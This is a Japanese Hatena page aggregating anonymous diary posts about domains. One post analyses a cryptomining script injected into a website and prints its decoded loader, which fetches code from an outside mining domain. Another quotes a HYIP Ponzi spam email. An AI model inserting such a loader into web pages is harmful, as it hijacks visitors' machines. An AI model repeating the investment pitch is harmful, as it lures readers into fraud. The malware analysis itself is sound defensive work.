「ドメイン」を含む日記 RSS

はてなキーワード: ドメインとは

2018-02-21

anond:20180221193215

JavaScriptには詳しくないため、コードをまるごと検索につっこんで類似例を見つけたいところだが、記号が多用されたコードそのままではぐぐれないので

"javascript obfuscator dollar underscore" といったキーワード検索

すると下記の解説サイトがヒットし、JJEncodeというツールで難読化されたものであることがわかる

https://blog.korelogic.com/blog/2015/01/12

 

デコードツールも紹介されているのでさっそく試してみると、以下の結果が得られる

var el = document.createElement('script');
el.src = 'https://web.stati.bid/js/YQHHAAUDYwBFglDXg0VSBVWyEDQ5dxGCBTNT8UDGUBBT0zPFUjCtARE2NzAVJSIPQ0FJABFUVTK_AABJVxIGEkH5QCFDBASVIhPPcREqYRFEdRQcsUEkARJYQyAXVBPNcQLaQAVm4CQCZAAVdEMGYAXQxwa.js?trl=0.20';
document.head.appendChild(el);

 

次に "web.stati.bid" でぐぐると下記のブログがヒットする

それによると去年12月ぐらいか複数サイトが改変被害に遭っていて、同じスクリプトを挿入されているらしい

飛び先のURLはいくつかあるが、中でもこのstati.bidドメインは今月登録されたばかりの非常に新しいもののようだ

https://blog.sucuri.net/2018/02/wikipedia-page-review-revealed-minr-malware.html

ちょうど英語Wikipediaでも同ドメインへ繋がるリンクが貼られて一悶着あったようだが、そのURL桂春蝶サイトに埋め込まれていたURLと(パラメータ込みで)完全一致する

 

結論:黒。実際にマイニングスクリプトが埋め込まれている。

ただし前例から考えて、第三者クラックして挿入したものである可能性が高い

2018-02-12

anond:20180212181738

前マスタベとかい結構流行ったエロサイト

トチ狂ってAI導入とか言う名目改悪して単なるランダム表示じゃねえかとか怒られ

そのうちドメインそのまんまでfx日記だかなんだか書き出してやがて消えたな

2018-02-07

anond:20180207093228

俺も3つ。

abc.in みたいな短いドメインはいろいろと役に立つ。

どれぐらいドメイン持ってる?

増田って、

仕事以外で個人的管理して使っているドメインって

どのぐらい持ってるんだろう?

自分は3つ。

2018-01-30

ブクマ制限のあるドメインの調べ方

違法アップロードサイトへのブックマーク制限対策の強化について - はてなブックマーク開発ブログ

http://bookmark.hatenastaff.com/entry/2018/01/29/150428

 

ここに書かれている「制限」ってのが具体的にどんなことか書かれていなくて、いまいち何が制限されるのかわからず、どうせホッテントリや注目エントリに出てこなくなるだけで個人プライベートブクマする行為には影響出ないんでしょ、と高をくくっていたら、そんなこともなく、運営指定するドメインは一切ユーザーブクマさせなくするという、非常に強行的なものだったのでびっくりした。はてブオンラインブックマークサービスを捨てきって完全にSNS交流にかじを切っていたのね。俺っちは今でも複数の端末でブックマークを共有することを目的の大きな一つに据えてたから非常に残念。(Chromeなどの共有ブックマークは切ってるしブラウザに数万のブックマーク入れたくないし)

 

こういう制限ってすでに一部のドメインでは開始済みだったらしく、そういえば今までもブクマしたと思ったら反映されてなかった記事があったなぁって思い出した。

試しに制限がされてそうな漫画村をはてブしようとしたけど、たしかブクマできなかった。公開ブクマ、非公開ブクマ関係なく、新規ブクマすることはできず。古いブクマはそのままみたい。

ただしこの制限のものすごく迷惑なところは、今回PCブラウザChrome拡張機能を使ってはてブをつけようとしたのだけど、制限されたサイトブクマに追加するボタンを押しても通常の挙動と同じで、「このサイトは追加できません」という表示が出ることもないので、普通ユーザーブクマの追加ができたと思ってサイトを離れてしまうことになるのだ。そういう場合、後でそのサイトはてブマイページから探そうとしても見つからず、「なんでブクマした記事がないんだ~!」ってなる。ブクマできないならブクマするときに「このサイトブクマできません」と注意表示をしてくれないと。そうすれば「ブクマできないのか、それなら別のところにURLメモしておこう」とできるのに。

 

現在「このサイトブクマできません」は、はてブマイページにある追加ページにURLを入れると表示されるようになっている。拡張機能にも同じ機能を早急につけてほしい。

http://b.hatena.ne.jp/add

 

いまのところ漫画村の他に「現在、このドメイン登録できません。」と出るサイトには、PornoHub(www.pornhub.com)があった。でも(jp.pornhub.com)のほうはブクマできるようだ。あと(www.xvideos.com)もブクマはできる。どんな基準規制かけてるのか不明だ。

2018-01-20

仮想通貨オートサーフ

この1,2か月、仮想通貨界隈の盛り上がりと、暴落後の阿鼻叫喚を眺めながら、不思議既視感にとらわれていた。

10年以上前オートサーフ流行し、急速に凋落した頃の雰囲気そっくりだったからだ。2005年から2006年頃にかけての話だ。


オートサーフとはなにかというと、

インターネット界隈で、オートサーフは、広告掲載したウェブサイトウェブブラウザー上で回転させるトラフィックエクスチェンジのことである。したがって、オートサーフ広告掲載したウェブサイトに大量のトラフィックを呼び込むことができる。メンバーは閲覧するサイト毎にクレジットを稼ぐことができ、このクレジットは、オートサーフの回転に追加することで、メンバーサイト広告することができる。オートサーフ業者に料金を支払う外部の広告掲載者は、サイトを追加することができる。

https://en.wikipedia.org/wiki/Autosurf


一見して、よくわからない説明かもしれない。あたりまえだ。その理由は後ほど。

ようするに、投資にうとい人間にとっては、オートサーフとは、業者お金を預けて、ブラウザー上で広告を表示させて放っておくと、預けたお金がたちまちのうちに何倍にもなるという、きわめて魅力的な「投資」話に見えたのだ。

12 DailyProとHYIP


オートサーフ業者のなかで最大手12 DailyProというアメリカ業者で、ユーザーが$6から$6,000の金額を預けると、12日間で144%の利益が得られると公言して、多数のユーザーを集めていた。

から見ると、じつにあほらしい話に見えるが、当時はこれがもっともらしい投資話に見えるようなネット上の光景があったのだ。その話も後ほど。

2005年の末頃には雨後の筍のように多数のオートサーフ業者が乱立し、高利率をうたってユーザーを集めていた。

特に利率が高く、リスクも高いサイトHYIPと呼ばれていたのだが、そのリスクとはどういうものかよくわかっている人はあまりいなかったように思う。

(HYIPの公言する利率がどのようなものであったかの例として、本エントリーの末尾に当時受信したスパムメールを貼っておく)

利率が高いサイトほど胡散臭いという共通認識はあった。

実際、運営開始当初は高い利益分配報告をしていたHYIPのサイトが、やがて運営を停止し、ドメインごと消滅するという事態は珍しくなかった。

そのようなことが続くと、オートサーフ広告業からの出稿料金をユーザー間で分配しているのではなく、ユーザーが預けたお金を分配しているだけのねずみ講ではないか、と危惧する人が出てくるのはもっともなことだった。

そしてその危惧は的中した。

2006年2月SECアメリカ証券取引委員会)は12 DailyProを恒久的に営業停止とした。

SEC捜査により、12 DailyProは世界中で30万人以上の投資家から5000万ドル以上を集めた巨大なねずみ講であることが明らかになった。

12 Daily Proの運営カリスジョンソン逮捕され、12 DailyProは運営停止後、法定管財人管理下に置かれた。

当然、12 DailyProにお金を注ぎこんでいたユーザーは大混乱に陥った。

法定管財人はその後数年間にわたり12 DailyProの清算状況をユーザーメールで報告しつづけたが、ユーザーに戻ったお金ほとんどなかったと思う。



日本での反応


日本インターネット界隈では、2005年にはオートサーフに関する話題が盛り上がりを見せていた。

各種掲示板では有利なオートサーフ業者に関する議論が行われ、ブログ上で収益報告をする記事が相次いだ。

「楽して高収入」をうたいながら、オートサーフ業者への登録手順を解説し、アフィリエイト収入を得たり情報商材販売する者が現れた。

そういった人々は、オートサーフのことを、まだそれほど世の中に広がっておらず、知っている者(情報強者)だけが得することのできるおいしい「投資話」だとしていた。

このような「投資話」で読者を煽った人びとは責任を取らず、消えた。

昨年から仮想通貨への投資話がネット上で盛り上がりを見せていたとき自分にはオートサーフのことが思い出されて、投資する気にはなれなかった。

もちろん、仮想通貨オートサーフでは、技術的な背景も、行われている投資の規模も全く違う。それはわかる。

だが、仮想通貨が盛り上がりを見せたときの、日本インターネット界隈での反応、うごめいている人々の素性が、オートサーフ騒ぎの時と、あまりにもよく似ていた。

筋の悪い「投資話」の特徴



今回、仮想通貨暴落を受けて、筋の悪い「投資話」に共通する日本インターネット界隈の反応を、自分自身経験則としてまとめておく。


筋の悪い「投資話」の特徴

  1. これは海外からもたらされた新しい情報だとして、ブログで騒ぎ始める人物が現れる
  2. 騒ぎ始める人物は、アフィリエイト情報商材で読者から金を集める山師的な素性の者が多く、秘密めかして自分権威であることを装う
  3. 投資話」の内容は、ネット上で投資するだけで、多大なリターンが得られる楽なものであるが、仕組みがよくわからない
  4. 山師煽りを受けて、あまり勉強ができそうでない、金融リテラシーの低そうなユーザー投資を初め、自分最先端を行っており、賢いのだと、ブログソーシャルメディアでイキり始める
  5. 上記煽りを受け、金融リテラシーが低く、所得も低いが、真面目なユーザーが、人生一発大逆転のチャンスだとして「投資話」に飛びつき、真面目に論じ始める
  6. 投資話」がもっともらしい「投資」に見え始める





参考:HYIPの広告メール

New and Good HYIP!! Auto-Withdrawals!

http://dischargefunds.com/

125% after one day (Auto-Withdrawal)

Plan Spent Amount (US$) Daily Profit (%)

Plan 1 $1 and more 125.00

68% daily for 2 days(Auto-Withdrawal)

Plan Spent Amount (US$) Daily Profit (%)

Plan 1 $1 - $100 65.00

Plan 2 $101 - $5,000 68.00

165% after two days (Auto-Withdrawal)

Plan Spent Amount (US$) Profit (%)

Plan 1 $5 - $100 160.00

Plan 2 $101 - $5,000 165.00

2018-01-03

約2年が経過したアダルトサイトがあるのだが

売り上げが立たないので閉めようと思っている。ただ、ドメインの解約が面倒なのと、せっかく2年使っていたドメインから継続してみようかなとも思っている。その場合、中身を全て消して再利用しようと思っているんだけど、中身はどんなのがいいかな。何かアイデアあったら教えてくれ。アダルトじゃなくてもいいと思っている。今までとは全く違う健全サイトにしたいとも思っている。

2018-01-02

anond:20180102092509

anond.hatelabo.jpが力を持ったドメインなのは間違いないのだけどね

ぐーぐるさんもはてぶついてない増田うんこ未満だとわかってるのかロクにぐぐる結果にも出さん

URLを直接はてブしたほうが間違いないと気づいて連投するもNGドメイン指定受けるまでがテンプレ

2017-12-28

anond:20171228140430

Googleだけって話ならドメイン制限だよ、諦めな

https://~ が全部だめなら、一旦http://~ から始まるページにアクセスするとwifiログインページに繋がることが多い

例えばこういうのな → http://www.jma.go.jp/

2017-12-25

全文パクリサイト発信者情報開示請求して1000万円請求した話

 「ブログ文章画像をパクったサイトを作られた! しかもググったら私のブログより上に出てくる!」といった話を見聞きするようになった。

 細々とブログ運営している私には対岸の火事と思っていたのだが、先日、私のブログパクリ被害を受けた。そこで泣き寝入りせず、逃げ得させない方針で対抗し、ある程度、成功を収めたので、個人情報などはぼかしつつ、その経験を共有したい。

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 私がパクリに気付いたのは、外出先で自分記事確認しようと、最新の記事タイトル検索した時のこと。検索一覧で、自分ブログのすぐ下に、見慣れない名前サイトが現れたのだ。「たまたま同じタイトル記事を書いた人がいるのかな?」と確認すると、文章画像も私のブログとまったく同じ。

 「パクられてる・・・

 血の気が引いた。パクリサイトを詳しく見ると、なぜか記事の筆者として私のIDが示されている。私のIDクリックすると、“私の記事一覧”なるページへ移動。そこには、これまで数カ月の私のブログパクリ記事が並んでいた。

 パクられていたのは私だけではない。パクリサイト最近投稿を見ると、数十もの異なったブログから記事をパクっていた。

 パクられているブログには共通点があった。それはブログ更新情報を伝える「RSS全文配信」という仕組みを使っているブログを利用していること。

 RSSブログなどを登録すると、記事更新があった時にすぐに伝えてもらえる仕組み。仕組み自体は便利なのだが、パクリサイトは伝えられた更新情報悪用し、即座に記事の内容をそのまま自動的パクリサイトにアップしていたのだ。「RSS全文配信」ではなく、「RSS一部配信」なら防げるのだが、例えば、このはてな匿名ダイアリーの親戚であるはてなブログではRSS全文配信しか選べないので、こうした被害を受けやすい。

 キュレーションサイト自称するそのパクリサイトには注意書きがあった。

 「リンクさせていただいた際には、運営者さまへご連絡させていただき、ご承諾いただいた上で当サイト運営しております。 万が一、こちらの不手際でご連絡差し上げておらず、ご承諾をいただいてないブログ運営者で、リンクを外してほしいとのご要望がございましたら、すみやかに誠心誠意対応させていただきますので、よろしくお願いいたします」

 何が“誠心誠意”だ、こんなパクリサイトへの転載を承諾しているわけがない。

 私と同じく記事をパクられていて、連絡先が分かった人に確認すると、やはり「まったく連絡はいただいておりません!」との返事がきた。つまり、この注意書きには、パクリ元に見つかったらミス言い逃れ第三者から通報も抑止しようという、悪質な意図が込められていることになる。

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 どうすればいいのか。

 パクリサイトには問い合わせページが用意されていたので、そこから連絡し、私のブログをパクったページを削除させるのは簡単だろう。しかし、それではパクリサイト運営で得た収入をなくせるわけではないし、私以外からパクった記事も削除されない。

 そこでWELQ問題の際、パクられた写真の利用料(賠償金)を請求した例にならうことにした。パクリサイト運営者が今までに得た収入を上回る利用料をとれれば、パクリサイト運営する動機消滅するのではないかと。

参考:キュレーションメディアに写真をパクられたので請求書を送って、18万円支払ってもらった(https://www.photo-yatra.tokyo/blog/archives/11079

 パクリサイトは1日1万5000ページビュー自称しており、Google Adsense広告を利用していた。Google Adsenseだと収入はざっくりページビュー10分の1円ほど、つまり1日1500円の収入パクリサイト過去記事を見ると数年運営していたので、100万円以上得ていると推測した。

 問題パクリ行為100万円以上請求する根拠であるほとんどのブログと同様、私のブログも「記事をパクったら●万円!」「写真は●万円で販売中」などとは示していない。また、パクられた写真すべてが「自分が完全に著作権を持っている写真」と自信を持って言えるかという問題もある。例えば、肖像権が含まれ人物写真ロゴキャラクター商品写真サイトキャプチャーゲームの1シーン、マンガコマなどは難しい。

 そこで発想を転換することにした。今までパクられた記事の利用料をとるのではなく、確実に私に著作権がある有料写真を大量に含んだ記事作成し、それをパクらせた上で利用料をとればいいのではないか、と。

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 さっそく外出して、公園や雲、植物など、権利侵害しない写真撮影。私が撮影した証拠にもなるよう、一部の写真には私のメールアドレスを書いた紙も写りこむようにした。一応、有料販売する体裁なので、ピンボケなどしないように気を遣い、できる限り良い写真を撮ることに努めた。

 こうして撮影した写真ブログ掲載していくのだが、注意すべきはブログサービス規約。例えば、はてなブログでは「記事内での直接販売」を禁じている。そのため、別の場所写真販売して、ブログではそれを紹介する形にしなければならない。

 個人でも写真販売できるサービスにはPIXTAやFotoliaなどがあるのだが、ほとんどは審査があり、料金も自分で決められない。

 そこでオススメなのがnote、「ノート投稿する」からイメージ」を選ぶと、好きな価格写真販売できるのだ。販売価格の上限は1万円だが、noteプレミアムに入ると5万円に引き上げられるので、加入して1枚5万円で50枚販売することにした(1カ月に200点以上または一時点において100点以上の商品新規出品する場合特定商取引法に基づく販売業者として連絡先を掲載しないといけないので注意)。

 次にブログ販売写真を大量に掲載して紹介するのだが、パクリサイト自動的パクる際、相手はどうせパクった記事をチェックしていないと予想されるので、さまざまな注意事項も書いておいた。

 「転載禁止」「転載を認めている媒体はない」「無断使用した場合、1枚につき使用料ペナルティとして倍額の10万円」 「不正使用とみなされる場合損害賠償を求めるなど法的な措置を講じる」「キャンペーンなど短期的な利用であっても同じ料金」などなど。

 写真のものにもPhotoshopで同様の文言を埋め込み、「(C)2017 (私のID)」と著作権表示も加えた。加工なしの写真掲載すると、パクった相手が「これは自分が撮った写真だ!」と逆に主張してきた際、オリジナル写真を示して自分が作者と証明できなくなるので、こうした文言は入れておいた方がいい。私の場合は、1つの写真につき、著作権表示のみの画像と注意事項も加えた画像の2種類、計100枚をブログ掲載した。

 「もしかすると気付かれてしまうかも・・・」と危惧していたのだが、数十分後にパクリサイト確認すると、無事(?)、私の写真紹介記事がパクられていた。ご丁寧に注意書きもそのまま転載されている。

 さっそく証拠確保のため、(1)ウェブ魚拓をとり(念のため「https://megalodon.jp/」「http://archive.is/」双方で)、(2)右クリックからページを保存、(3)右クリックからソースを表示してコピペして保存、(4)Google Chrome拡張のFull Page Screen Captureを使用してページ全体をキャプチャーさら一時的ミスと言いわけできないよう、1週間後にも同様の作業を行った。

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 完全に証拠を押さえたところで、利用料を請求する段であるパクリサイト運営者に連絡するには、問い合わせページを使う方法もあったのだが、より正式方法ドメイン登録者情報を調べて、そちらから連絡することにした。最終的に裁判で利用料を請求することになった場合相手名前や住所が必要になるからだ。

 ドメイン登録者情報の調べ方は簡単。例えばアスカネットワークサービスの「http://whois.ansi.co.jp」でパクリサイトURL検索するだけ。

 ・・・と思ったのだが検索した結果、「Registrar Abuse Contact Email(不正使用の際に連絡するメールアドレス)」として表示されたのは、GMOインターネットメールアドレス。これは個人情報を隠すため、GMOインターネットお名前.comというサービスを利用していた時に表示される。

 なのでGMOインターネット電話し、「著作権侵害され、利用料の請求書を送りたい」と伝えると、パクリサイトエックスサーバーというサーバー会社を利用していると教えてくれた。なお、ここでは著作権侵害の具体的内容を説明する必要はなく、パクリサイトこちらの動きが伝わることもない。

 次にエックスサーバーに連絡すると、パクリサイトエックスサーバー運用されていることは確認できたのだが、「発信者情報開示につきましては、プロバイダ責任制限法に基づき、書面にて発信者情報の開示請求をお送りいただいたもののみ対応いたしています」とのこと。まあ当たり前だ。

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 名前や住所、メールアドレスなど発信者情報の開示請求必要ものとして、エックスサーバーから指定されたのは次の3点。

(1)発信者情報開示請求書http://www.isplaw.jp/d_form.pdf

(2)印鑑証明書

(3)問題サイトから情報流出によって権利侵害されたとすることが確認できる資料(2部)

 (1)発信者情報開示請求書テンプレートがあるものの、自分用にカスタマイズしないといけないので若干面倒。テンプレートの「貴社・貴殿」「注」などをうっかり修正し忘れてしまい、何度か作り直すことになった。書き方は↓の記事を参考にさせてもらった。なお、「発信者に示したくない私の情報」として私の氏名を指定した。

参考:写真無断使用された時の発信者情報開示請求の仕方(http://tanaka-desu.com/puroseki-hassinsya-kaiji/

 (2)印鑑証明書役所で発行してもらえるのだが(350円)、そもそも印鑑登録しておかないといけない。シヤチハタ印は印鑑登録できないので、実印を持っていなければ制作に少なくとも数千円、数日みておく必要がある。

 (3)資料パクリサイトがパクった記事と、自分ブログのパクられた記事PDFで保存して、セブンイレブン印刷写真100枚が含まれ記事で、しかも各々のサイトを2部ずつ印刷したので、コピー代だけで2500円かかった。

 (1)~(3)の書類を合わせると数センチにもなったので、郵便局レターパックプラス(510円)で送付。この書類サーバー会社に届くとパクリサイト運営者に連絡がいくので、必ずここまでに証拠を固めておくことが大切。Twitterなど表で騒ぐのも厳禁、書類が届いてサーバー会社ログを保存する前に該当記事を削除されてしまうと開示は認められなくなるらしい。

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 書類を送った翌日、パクリサイトに変化が生じた。私のブログからパクった記事がすべて削除されたのだ。ただし、サイト自体は通常営業で、ほかの人の記事は全力でパクリ続けている。

 権利侵害根拠となる写真紹介記事が削除されたことで、「もしかすると発信者情報開示請求が通らなくなるかも」と心配したのだが、書類送付から2週間後、エックスサーバーから封書が届く。中を見ると、「発信者氏名」「発信者住所」「登録メールアドレス」が記されていた。

 さっそく登録メールアドレス宛に連絡。「発信者氏名」「発信者住所」が正しいか確認するとともに、該当記事を削除しているがウェブ魚拓証拠を示せること、写真100枚の転載料として10万円×100枚=1000万円を請求すること、そもそもどういう考えで運営しているか聞いてみたい、という内容にした。書き方は↓のサイト、およびネット写真を盗用された場合対処法を解説した『アサヒカメラ 2017年2月号』を参考にした。

参考:キュレーションメディアに写真をパクられたので請求書を送って、18万円支払ってもらった(https://www.photo-yatra.tokyo/blog/archives/11079

 すると、4時間後、すぐに相手から返信があった。謝罪言葉サイトを閉鎖したとのこと、ただし金額については妥当とは思えないところがあるという内容だった。

 この場合裁判金額を決めることになるのだが、そこまで進めるかどうかで悩んだ。同様のパクリサイトが生まれないようにするためにもパクリで高額の賠償金が発生することを判例として残すことは重要。私の主張が全面的に認められるかは分からないが、いろいろ調べた結果、ペナルティ部分は認められないかもしれないが、利用料部分は認められるのではないかと予想していた。

 しかし、相手個人可能性が高いこと、悪用が禁じられているとはい名前や住所といった個人情報が開示される罰則を受けていること、相手Google AdsenseIDなどで調べた結果たどりついた他のアフィリエイトサイトがあまり儲かっていないようにみえたこと(儲かっていたらこんなリスキーな手は使わない)、ほかにパクリサイト運営者がいる中、不幸にも私という当たり屋に追突してしまったのがちょっと気の毒に思えたこと、などからサイトを削除したことで良しとして、また何らかの権利侵害されない限り、請求は保留すると伝えた。ちなみにここまでは私の名前や住所は相手に伝えず進めていたのだが、請求書を送ったり、裁判に訴えたりするとなると、もちろん名前や住所を出す必要がある。

 そもそもRSS情報自動サイト転載する仕組みは、ネットに関する知識技術をそれなりに持っていないとできないこと。それだけの能力を持った人がパクリサイトに手を出した背景には、発覚した時の罰則が軽そうにみえたことがあっただろうが、この記事によって、その認識を変えられたらと思う。

 もし本当に悪い人が目を付けたなら、有料画像を大量に掲載し、パクらせることで、理論上、1億円でも10億円でも無限に、しか理屈が通った上で請求できるので、一発で破滅してしまう。

 今、パクリサイト運営しているならすぐに閉鎖した方がいいし、パクリサイト被害を受けている人がいるなら、ぜひこの方法で利用料を請求してほしい。私もまたパクられることがあれば、今度はしっかり利用料をもらうところまで進めるつもりだ。

 一応、著作権違反損害賠償請求時効3年で、しばらく悪いことはしにくいと思うので、相手の方にはこれを良い機会として、高い能力社会のために生かしてほしいと心から願っている。

2017-12-21

「バノン来日公演」4万8600円払って行ってみたら、ズッコケ

http://gendai.ismedia.jp/articles/-/53900

現在のところ、”breitbart.co.jp”は空きドメインとなっているが、”breitbart.jp”はすでに何者かが取得したようだ。もしかしたらバノン氏は、日本を「新たな市場」として虎視眈々と狙っているのかもしれない。日本でも本格的な「右派ウェブニュースサイト」が誕生する日が、近い将来やってくるのだろうか。

ダッシュで breitbart.tokyo おさえた。

一生売らない。

2017-12-15

anond:20171215174311

アドレスというかドメインクリックしてそのドメインの新着エントリーに遷移するのは正しい挙動じゃね。別のことを言ってるんじゃないの。

2017-12-08

秒速アウトプットの某CTOに消されるのかテスト投稿定期

https://twitter.com/neenya00 より転載

なおやさんへ‏ @neenya00 12月1日

2017年も終わろうとしていますが、未だに伊藤直也さんから謝罪はありません。

http://archive.is/qrA0M

本人がブログに書いた宣言は今のところ何一つ実現していません。

このブログも消してしまたことで、あの時書いた内容を遂行する気がもう彼にはないのでしょう。

ttps://twitter.com/neenya00/status/936508759249002496

なおやさんへ‏ @neenya00 8月28日

なおやさんの最低だなと思うところは、はてな匿名ダイアリーとか見ると、自分批判する記事はぜーんぶ消して、私を批判する記事はあえて残してるところだよね…

被害者面しすぎでしょ。それで『警察突き出したことは謝らない』って姿勢では何も収まらないわ

ttps://twitter.com/neenya00/status/902270192931160065

なおやさんへ‏ @neenya00 8月31日

ちなみに

はてなブログは、掲載して公開設定にした瞬間に削除された上に、アカウントまで凍結させられて、さら伊藤直也さん本人に『こういうコンテンツが載せられて、いつ削除しましたよ』ということが筒抜けになっていたので、はてな中の人とは直也さんはまだ仲が良いんだろうなって思います

ttps://twitter.com/neenya00/status/903269265339383809

なおやさんへ‏ @neenya00 8月31日

とうとうこのTwitterアカウントのものgoogle検索結果から除外されました笑

伊藤直也 不倫』について書いたサイトドメインごと検索結果から除外しまくってる様子。

今後、伊藤直也さんを批判する内容を書くとそのサイトSEO的になかったことにされるってこれ怖いですね。

ttps://twitter.com/neenya00/status/903264286717313028

なおやさんへ‏ @neenya00 8月30日

なおやさん

いつ出社するの?

ttps://twitter.com/neenya00/status/902890688416595968

なおやさんへ‏ @neenya00 8月26日

あと、直也さんが一休スタッフさんに怒鳴り散らして、牧歌的だったからとかって 開き直ってる長いLINEとか、人事考課LINEが出て来たんだけど、これは酷すぎて私ですら公開を躊躇するレベル

直也さんはたまにどうしようもないけどそれもまた大好き。でも一気に見返すとちょっと頭痛い…

ttps://twitter.com/neenya00/status/901358493298343936

なおやさんへ‏ @neenya00 8月25日

自分ブログは残して、私のお返事用ブログ(http://naoyaito.minim.ne.jp/wp/ )まで消されてる。

から意見はや外部の意見は全部抹消して、直也さん側の見解だけ残るようにするのは、相変わらず保身に見えますし、まだ話合いも実現してないのに身勝手な話です。

ttps://twitter.com/neenya00/status/901211375396990976

なおやさんへ‏ @neenya00 8月25日

久しぶりにネットを見たら、伊藤直也検索すると出てくるまとめブログの類がかなり消滅していて、直也さんの火消しの頑張りが伺える。

でもnaoyaはてなダイアリー自分で今回の件に言及してるのに、他人が何か書くといちいち消すっていう姿勢はなんなの…

ttps://twitter.com/neenya00/status/901206995943817216

なおやさんへ‏ @neenya00 8月16日

なおやさんへさんがHARUYAMA Seigoリツイートしました

これこれ

見つけた人ほんとすごいよ!!

ttps://twitter.com/neenya00/status/897706752107585536

Naoya Ito‏ @naoya_ito 2016年2月3日

京都で車を買うとき色々わがままなことを言ったのを全部対応してくださったディーラーさんに、ようやく「実は免許更新し忘れて失効しちゃって、車乗れないんです」と告白することができた・・・。ずっと黙っていてごめんなさい

ttps://twitter.com/naoya_ito/status/694742914849636352

めざせ!世界一クリスマスツリーPROJECT

Domain Information: [ドメイン情報]

[Domain Name] SORATREE.JP

[登録者名] 株式会社ソニーデジタルエンタテインメントサービス

[Registrant] Sony Digital Entertainment Services Inc.

[Name Server] ns1.xserver.jp

[Name Server] ns2.xserver.jp

[Name Server] ns3.xserver.jp

[Name Server] ns4.xserver.jp

[Name Server] ns5.xserver.jp

[登録年月日] 2017/08/21

[有効期限] 2018/08/31

[状態] Active

[最終更新] 2017/09/29 18:53:18 (JST)

Contact Information: [公開連絡窓口]

[名前] 株式会社ソニーデジタルエンタテインメントサービス

[Name] Sony Digital Entertainment Services Inc.

[Email] tech@sonydes.jp

[郵便番号] 104-0044

[住所] 東京都中央区

明石町 8-1

聖路加タワー35F

[Postal Address] Chuo-ku

Akashicho 8-1

St Lukes Tower 35F

[電話番号] 03-5551-0871

[FAX番号] 03-5551-0842

2017-12-07

2017年Googleアルゴリズム変更、傾向まとめ

1. 雑記ブログ不利。企業オウンドメディア順位を上げており、誰が作ったのかわからない医療サイトも上位に位置しているのが見られる。私のサイト雑記ブログPVが半分程度に減ったが、スピンオフで作った特化ブログPVが増えた。Googleの言う権威性・信頼性は何かに特化しているかどうかによって求められているのかもしれない。

 

2. アフィリエイトタグが入っているか順位が下がったというわけではないように思う。上述の私のサイト雑記ブログ、特化ブログいずれに同じアフィタグが挿入されているにも関わらず明暗を分けたかである

 

3. ドメイン関係ない(おそらく)。検索上位に.jp、.comドメインが依然として混在しているため。

 

4. 健康医療分野以外にも影響あり。例えば、これまで検索1位だったラノベ感想ブログAmazon出版社に上位を奪われ、3位や4位に甘んじているのが見られる。「○○ 感想」と検索すれば感想を記した個人ブログ記事がヒットするが、ただ単に「○○(本のタイトル)」だけだと権威性・信頼性のあるとみなされているAmazon出版社がヒットするようになっている。

 

5. Google Booksも順位を上げている。検索ワードに対して信頼性のあるサイトが該当しない場合Google Books内の本文が検索でヒットするのが見られる。その検索ワードに対して誰がその小説情報を求めているんだ。これはユーザーエクスペリエンスを損なう検索結果であると思われるので、早急に対処されると思われる。でなければGoogle検索から人々が離脱するおそれがある。

2017-12-01

ねぇ、知ってる?

hikakin.com

もうドメイン取られてるんだって

金属製作所だって

多様なアッセブリにも対応するんだって

はてぶ全体でドメインごとのbookmark数ってわかる?

yahoo news(headlines.yahoo.co.jp) / 日本経済新聞www.nikkei.com/) / 朝日新聞(www.asahi.com/) / 産経新聞(www.sankei.com/) 読売新聞www.yomiuri.co.jp

ニュースは、はてサの皆さんの影響なのか、朝日新聞が多い

増田anond.hatelabo.jp)がトップと思ってる

2017-11-30

ラブレターズラーメンズに関する一考察

ラブレターズ西岡中学校ネタってラーメンズ帝王ホテル応援歌ネタが下敷きになってるのね

アッシュアンドディの芸人ラーメンズネタ知らないわけないもんね

別にパクリだーとかいうつもりはないんだけど(日の目を見てないものを引き上げてやるのはどんどんやるべきだと思うし)

さらだけどあーここ繋がってたんだーってびっくりしちゃって。

何年前のネタだよって話なんだけど、ネット上でもあんまり出回ってないみたいだったので、

ドメインパワーを借りて書き落としておきます

ラーメンズは偉大だ!(さらなる元ネタがありませんように)

2017-11-29

20年分の育児ブログが消えた

しか自分がわるいんです。

でもね、2人の子もの

0歳から10歳まで(つまり20年分ですよ)の

ブログが消えてしまった。

気がついたときは3か月遅れ

ワキに汗をかきながらメールしたのに、

ロリポは冷たく

ドメインなら取得可能です」

質問に答えない回答が返ってきた。

それからというもの

妻とは疎遠になり、

いま離婚危機

もちろん消えたブログだけの

問題ではないけれど

夫婦ふたり一生懸命書いてきた

育児日記を失った悲しみというのは、

夫婦を解消させるだけのチカラは十分にある。

中学生にもなると、

グレはじめ親を「お前」呼ばわりするムカつく息子も、

ブログ日記の中では天使でした。

毎日書いてたブログ

育児日記であり、

我が家族の唯一の足あとだった。

もう、一家離散まで

カウントダウンが始まってる。

2017-11-26

ある有名なFTPアプリの話

ある日、自宅でサーバー作業していた際にFTPアプリ使用することになって

僕に降り掛かった恐ろしい話をひとつ

まず前提として面倒だからルート権限(幾つかのドメインにまたがって操作可能)で作業していました

これがそもそもの間違いでした。ちゃんとドメインごとにftpユーザー作成しましょう。

FTPアプリサーバー側のドメインフォルダ一覧から色々とドメインフォルダみていたら

なんとなしにその内の一つのサイトブラウザでひらくとエラーになっていた

「何もしてないのに壊れたぞ?」

あわてて顧客にはサーバーメンテナンスと通知をしたあと、原因を探ると

どうやらドメインフォルダを色々のぞいていた際にワンクリックのつもりがドラッグアンドドロップを行っていたらしく

ログを見るとドメインフォルダごとどっかの適当フォルダにぶち込む操作を行ってしまったのでした

色々なことがよぎり冷や汗もでましたが、結局ftpコマンド

rename folder ../folder

で治ったというお話でした。

GUIアプリって恐ろしいですね

(※ドメイン毎にFTPユーザー作成しましょう)

終わり

2017-11-23

anond:20171122003439

話が逸れるし、前から気になっていたんだが。

コンビニエロ本を置くことに反対しているのが女性というイメージレッテル貼り?)がどこで始まったのかが気になる。

私は男だし、DMMでエロマンガエロ動画を度々買うけど、コンビニにあるエロ本不快

そういう物はしかるべき場所で売って欲しい。

DMMは一般DMM.com18禁dmm.co.jpドメインできちんと分けている。

一般の方の商品検索結果で、18禁が出ることは無い。ただし、成人作品で何件の検索結果がありますとは表示される。

ともかく同じ「店」では売っていない。もしかしたらサイト名も分けるとベストかもしれないがそこはまあ良い。

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